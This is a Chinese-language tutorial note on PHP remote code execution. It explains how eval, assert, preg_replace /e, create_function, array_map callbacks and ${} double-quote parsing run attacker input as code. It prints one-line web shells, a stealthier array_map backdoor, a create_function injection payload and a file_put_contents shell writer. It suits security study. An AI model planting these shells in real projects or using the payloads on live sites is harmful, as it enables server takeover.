原理
用户输入的数据被当做后端代码执行
后端代码:PHP 、ASP 、ASPX、JSP
RCE:远程命令或代码执行
- 命令执行:用户输入的数据会被当做系统命令执行
- 代码执行:用户输入的数据会被当做后端代码执行
- 只要渗透的最终情况可以实现执行命令或者代码都属于RCE
PHP中造成代码执行函数解析
eval()
- 会把字符串当做代码执行(字符串为合法的PHP代码,且必须以分号结束)
- eval()可以执行多行代码
如一句话木马
<?php eval($_GET[1])?>
http://127.0.0.1/1.php?1=echo%20123;phpinfo();
assert()
内容是字符串,它将会被 assert() 当做 PHP 代码来执行
注意:assert()只能执行一行php代码
assert($_GET[1]);
http://127.0.0.1/1.php?1=phpinfo();
http://127.0.0.1/1.php?1=var_dump(1);phpinfo();
输入多行代码只会执行第一个
如何实现多行执行呢?
- 可以通过写文件的方式file_put_contents()
preg_replace()
- preg_replace(pattern,replacement,subject)
搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。
- pattern部分有一个修饰符为e,将替换后的字符串replacemen作为php 代码,(eval()函数方式)
echo preg_replace('/a/e', phpinfo();, 'asdzxcasda');
echo preg_replace('/a/e', $_GET[1], 'asdzxcasda');
如果可以控制正则表达式的规则,且可以控制匹配的值,就可利用该特性
注意:替换必须真实发生才会触发函数,不发生替换不会触发preg_replace() 函数
create_function()
-
create_function() 创建匿名函数
-
定义:create_function (string
$args
,string$code
)a r g s = = 函 数 参 数 ; args==函数参数; args==函数参数;code==功能代码
-
作用:返回唯一的函数名称作为字符串或**
false
**错误
$a = create_function('$id','echo $id;');
$a(10);
执行过程:10会传递给$id变量,然后执行echo $id;
页面返回10
#create_function创建的匿名函数
$a = create_function('$id',$_GET[1]);
#正常的匿名函数(匿名函数没有函数名)
function functionName() {
}
==>
function ($id){
$_GET[1];
}
#如果传参为 }phpinfo();//
==>
function ($id){
$_GET[1];
}phpinfo();//
}
==>
function ($id){$_GET[1];} phpinfo();//
array_map()
- **array_map() ** 回调函数,调用某个函数
- 定义:array_map(回调函数名,数组)
- 作用:用数组的每个元素应用到回调函数
- 返回值为数组
注意:Eval是无法调用的,因为eval比较特殊,不认为是函数,属于特殊写法
array_map("assert", $_GET)
http://127.0.0.1/1.php?1=phpinfo();
array_map($_REQUEST[1],$_REQUEST); #更不容易被发现,隐藏性更高
http://127.0.0.1/1.php?1=assert&a=phpinfo();
注意:PHP回调函数有很多,不止一个
特殊组合(双引号二次解析)
PHP版本5.5及其以上版本可使用
"${phpinfo()}";==> 会执行phpinfo()
单引号和双引号区别
- 单引号很纯粹,里面就是字符串
- 双引号会解析
当$紧挨着{}时,{}里面的字符会当做代码执行
"${file_put_contents('123.php','<?php eval($_REQUEST[1])?>')}";
当网站某个地方可以控制传参会被写入php文件的时候,就可利用该点